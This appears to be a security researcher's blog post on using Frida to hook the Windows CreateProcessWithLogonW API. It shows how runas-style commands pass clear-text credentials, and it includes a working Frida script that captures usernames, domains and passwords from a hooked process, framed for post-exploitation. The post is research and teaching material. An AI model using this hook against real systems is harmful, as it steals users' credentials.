Hooking CreateProcessWithLogonW with Frida

2 minute read

Introduction

Following b33f most recent Patreon session titled RDP hooking from POC to PWN where he talks about API hooking in general and then discuss in details RDP hooking (RdpThief) research published in 2019 by @0x09AL, I’ve decided to learn more about the subject as it seemed intriguing from an offensive research standpoint. In essence, API hooking is the process by which we can intercept and potentially modify the behavior and flow of API calls. In this blog we will be looking at capturing data pertaining to API calls for the most part.

Tooling

We will be using the following tools:

  • API Monitor tool which is a free software that lets you monitor and control API calls made by applications and services according to the website.
  • Fermion wrapper for Frida or frida-node rather exposing the ability to inject Frida scripts into processes using a single UI.

Target

While reading through chapter 3 of Windows Internals book, I noticed a mention of the CreateProcessWithLogonW API which could be used by programs and/or utilities that offer execution in the context of a different user such as runas command-line utility. Moreover, examining this function API documentation on MSDN I found that it takes clear-text password for a given user account as parameter amongest others which makes it even more interesting. At this point I thought this is something worth exploring and started targeting commands that make use of said API. The following is list of few commands I tested:

Start

As the name suggest, the start command enables a user to open a separate window from the Windows command line. Let’s execute the below command to spawn command prompt as a different user while running API Monitor in the background.

We notice call to CreateProcessWithLogonW API which holds the credential values we just entered in the first and second parameters.

Start-Process

The Start-Process cmdlet starts one or more processes on the local computer such as starting process using alternate credentials amongest other things.

Again we search for call to CreateProcessWithLogonW API and examine the parameters as shown below.

Start-Job

The last cmdlet we’re going to test is Start-Job which is used to run jobs in the background. In this case, we’re going to invoke basic powershell script to mix things up.

$username = "lowpriv"
$password = "Passw0rd!"
$securePassword = ConvertTo-SecureString  -String $password -AsPlainText -Force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $securePassword)
Start-Job -ScriptBlock {Get-Process Explorer} -Credential $Creds

And we get the same result.

Frida Script

I’ve put together basic Frida script that hooks the CreateProcessWithLogonW API and then extract clear-text credentials.

// This script extract clear-text passwords by hooking CreateProcessWithLogonW function API.
//------------------------------------------------------------------------------------------

// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw
var pCreateProcessWithLogonW = Module.findExportByName("Advapi32.dll", 'CreateProcessWithLogonW')

Interceptor.attach(pCreateProcessWithLogonW, {
    onEnter: function (args) {
        send("[+] CreateProcessWithLogonW API hooked!");
        // Save the following arguments for OnLeave
        this.lpUsername = args[0];
        this.lpDomain = args[1];
        this.lpPassword = args[2];
        this.lpApplicationName = args[4];
        this.lpCommandLine =args[5];
    },
    onLeave: function (args) {
        send("[+] Retrieving argument values..");
        send("=============================");
        send("Username    : " + this.lpUsername.readUtf16String());
        send("Domain      : " + this.lpDomain.readUtf16String());
        send("Password    : " + this.lpPassword.readUtf16String());
        send("Application : " + this.lpApplicationName.readUtf16String());
        send("Commandline : " + this.lpCommandLine.readUtf16String());
        send("=============================");
    }
});

Let’s test it.

Conclusion

I believe this post serves as a gentle introduction to API hooking and I’m sure I missed a few other commands that make use of CreateProcessWithLogonW API behind the scenes ;D. I don’t know wether this is useful from post-exploitation standpoint and would rather leave it to the reader to decide. Lastly, I would like to thank @h0mbre_ for reviewing this post and hope it was a good read.

Updated: